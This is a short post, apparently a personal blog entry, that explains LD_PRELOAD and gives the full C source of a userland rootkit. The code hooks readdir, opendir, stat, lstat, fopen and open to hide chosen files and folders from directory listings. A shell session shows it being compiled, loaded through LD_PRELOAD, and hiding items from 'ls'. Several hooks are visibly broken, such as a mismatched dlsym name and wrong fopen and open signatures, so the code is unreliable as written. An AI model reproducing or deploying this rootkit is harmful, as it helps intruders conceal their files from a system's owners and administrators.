I wrote this months ago and didn't finish it.
What is LD_PRELOAD?
It is an environment variable which tells the dynamic linker to load some libraries before the standard ones.
And what happens if your "preloaded" libraries contain some functions that already exist?
Your functions are loaded first. This can be useful for debugging, testing, tracking, or making an userland rootkit.
This simple example just tries to hide some files and folders. Is an example, it doesn't work very well (I didn't hook all of the functions that can be used for listing/opening).
rkit.c
#define _GNU_SOURCE
#include <sys/types.h>
#include <sys/stat.h>
#include <errno.h>
#include <dirent.h>
#include <dlfcn.h>
#include <string.h>
#include <libgen.h>
int is_file_hidden (const char *);
int is_fold_hidden (const char *);
char *hidden_files[] = { "insanekit.so", "insanetest.txt", NULL };
char *hidden_procs[] = { "insaneproc", NULL };
char *hidden_folds[] = { "insanefolder", NULL };
int chmod(const char *file, mode_t mode)
{
int (*chmod_orig)(const char *, mode_t);
chmod_orig = dlsym(RTLD_NEXT, "chmod");
return chmod_orig(file, mode);
}
int readdir_r(DIR *dirp, struct dirent *entry, struct dirent **result)
{
int (*readdir_r_orig)(DIR *, struct dirent *, struct dirent **);
readdir_r_orig = dlsym(RTLD_NEXT, "readdir");
return readdir_r_orig(dirp, entry, result);
}
struct dirent *readdir(DIR *dirp)
{
struct dirent * (*readdir_orig)(DIR *);
readdir_orig = dlsym(RTLD_NEXT, "readdir");
struct dirent *res = readdir_orig(dirp);
if (res == NULL)
return res;
if (is_file_hidden(res->d_name) || is_fold_hidden(res->d_name))
return readdir(dirp);
return res;
}
DIR *opendir(const char *name)
{
DIR * (*opendir_orig)(const char *);
if (is_fold_hidden(name)) {
errno = ENOTDIR;
return NULL;
}
opendir_orig = dlsym(RTLD_NEXT, "opendir");
return opendir_orig(name);
}
int stat(const char * path, struct stat * buf)
{
int (*stat_orig)(const char *, struct stat *);
if (is_file_hidden(path) || is_fold_hidden(path)) {
errno = ENOENT;
return -1;
}
stat_orig = dlsym(RTLD_NEXT, "stat");
return stat_orig(path, buf);
}
int lstat(const char * path, struct stat * buf)
{
int (*lstat_orig)(const char *, struct stat *);
if (is_file_hidden(path) || is_fold_hidden(path)) {
errno = ENOENT;
return -1;
}
lstat_orig = dlsym(RTLD_NEXT, "lstat");
return lstat_orig(path, buf);
}
int fopen(const char *path, const char *mode)
{
int (*fopen_orig)(const char *, const char *);
if (is_file_hidden(path) || is_fold_hidden(path)) {
errno = ENOENT;
return 0;
}
fopen_orig = dlsym(RTLD_NEXT, "fopen");
return fopen_orig(path, mode);
}
int open(const char *file, const char *oflag, mode_t mode)
{
int (*open_orig)(const char *, const char *, mode_t);
if (is_file_hidden(file) || is_fold_hidden(file)) {
errno = ENOENT;
return 0;
}
open_orig = dlsym(RTLD_NEXT, "open");
return open_orig(file, oflag, mode);
}
int is_file_hidden(const char *file)
{
int i = 0;
while (hidden_files[i] != NULL) {
if (strcmp(hidden_files[i], basename((char *)file))==0)
return 1;
i++;
}
i = 0;
while (hidden_folds[i] != NULL) {
if (strcmp(hidden_folds[i], basename((char *)file))==0)
return 1;
i++;
}
return 0;
}
int is_fold_hidden(const char *folder)
{
int i = 0;
while (hidden_folds[i] != NULL) {
if (strcmp(basename(dirname((char *)folder)), hidden_folds[i])==0)
return 1;
i++;
}
return 0;
}
[ca0s@st4ck-3rr0r RootKit]$ gcc -fPIC -ldl -shared -o my_libc.so rkit.c
[ca0s@st4ck-3rr0r RootKit]$ ls
insanefolder insanetest.txt jeje my_libc.so rkit.c test test.c
[ca0s@st4ck-3rr0r RootKit]$ export LD_PRELOAD=/home/ca0s/Codigos/RootKit/my_libc.so
[ca0s@st4ck-3rr0r RootKit]$ ls
jeje my_libc.so rkit.c test test.c
[ca0s@st4ck-3rr0r RootKit]$